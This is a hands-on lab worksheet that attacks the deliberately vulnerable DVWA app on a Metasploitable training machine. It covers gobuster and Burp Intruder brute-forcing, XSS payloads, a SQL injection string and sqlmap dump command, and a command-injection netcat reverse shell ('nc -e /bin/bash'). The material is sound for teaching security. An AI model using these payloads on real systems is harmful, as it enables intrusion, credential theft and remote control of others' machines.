gobuster
Gobuster
is a brute-force tool, written in Go and a more modern alternative to Dirbuster
.
Tools like gobuster
use “wordlists”, or a file that contains many (many!) words that are used to find directories, files, crack passwords, etc.
In Kali, you can see installed wordlists by opening a terminal and running locate wordlists
. Additionally, we have cloned the SecLists Github repo to /root/websploit/SecLists
:
SecLists is the security tester’s companion. It’s a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. The goal is to enable a security tester to pull this repository onto a new testing box and have access to every type of list that may be needed.
Metasploitable is “an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities.” In the lab network, there is a Metasploitable machine reachable at http://metasploitable
. The Metasploitable machine is running a web application called “DVWA” (Damn Vulnerable Web App) which also has gaping security holes we will exploit in these exercises. The DVWA web app is accessible at http://metasploitable/dvwa
.
Try running gobuster
on DVWA. You can use any wordlist you want– there are some in /root/websploit/SecLists
or /usr/share/wordlists/dirbuster/
.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://metasploitable/dvwa/
In this exercise, we’ll set up Burp Suite with Firefox, learn some Burp Suite basics, and brute force a password using Burp Suite’s Intruder tool.
In your Kali machine, open Burp Suite
. Since we’re using the free Community Edition, you can only start a temporary project. When asked, select Use Burp Defaults
.
Note: it may take a minute for Burp Suite to start.
Burp Suite works by proxying network traffic between your browser and the web server. To use it properly, we need to configure a browser to send traffic through Burp Suite.
about:preferences
-> General -> scroll to the bottom -> Network settings.127.0.0.1
and the port to 8080
. Check the “Use this proxy for HTTPS” box. Click OK.http://metasploitable/dvwa
in Firefox. You should see the DVWA login page.At this point, if you’ve never used Burp Suite before, just spend a minute clicking around the interface and reading– it’s overwhelming at first, so just try to get your bearing. Burp Suite has a lot of builtin tools.
admin
and password password
.Low
.admin
and a dumb password like 1234
.POST /vulnerabilities/brute
). Right click -> click “Send to Intruder”.0 payload positions
. If not, click Clear
on the right side.Load ...
and choose a wordlist. I recommend using /usr/share/wordlists/john.lst
.Scroll down again to Redirections
. Under “Follow redirections:”, select Always
.
At the top, click Start Attack
. If you used john.lst
, you should see pretty quickly that one of the passwords gave a result that was flagged for the string “Welcome” (hint: you already logged in with the admin password earlier…)
In Firefox, navigate to http://metasploitable/dvwa
, and click on XSS reflected
in the left panel. Exploit the text input using XSS.
<script>alert("pwned!")</script>
You just XSS’d yourself, which isn’t really that great. Consider: how could you XSS someone else with this exploit?
The XSS attack is embedded in the URL, so you could send someone a link with your XSS parameters pre-filled in. If they click it when they're logged in, the code will run on their machine. If you think your XSS link words, try logging into a private Firefox window and pasting the link. Did it work?
In Firefox, navigate to http://metasploitable/dvwa
, and click on XSS stored
in the left panel. Exploit the text input using XSS. This should be very easy given the previous exercise.
Once you’re done, try refreshing the page, or visiting the page in a private Firefox window. Does the exploit still work?
In Firefox, navigate to http://metasploitable/dvwa
, and click on SQL Injection
in the left panel. Enumerate users on the system with an SQL injection.
a' or 'a' = 'a
Use SQLMap to dump the database. You’ll need to copy your cookie(s) from Firefox.
sqlmap --cookie="PHPSESSID=<your PHPSESSID>;security=low" --url="http://metasploitable/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dump
In Firefox, navigate to http://metasploitable/dvwa
, and click on Command Execution
in the left panel. Inject the id
command.
ping
returns an error, you won’t see anything.Spawn a reverse shell using Netcat. Here is a reverse shell cheat sheet.
Start a listener using netcat from Kali.
nc -v -l -p 4444
Inject a command that calls back to the netcat listener, and gives you a shell.
localhost && nc -e /bin/bash kali 4444It's normal not to have a prompt -- type commands as you normally would anyway.
What is the uptime of the system?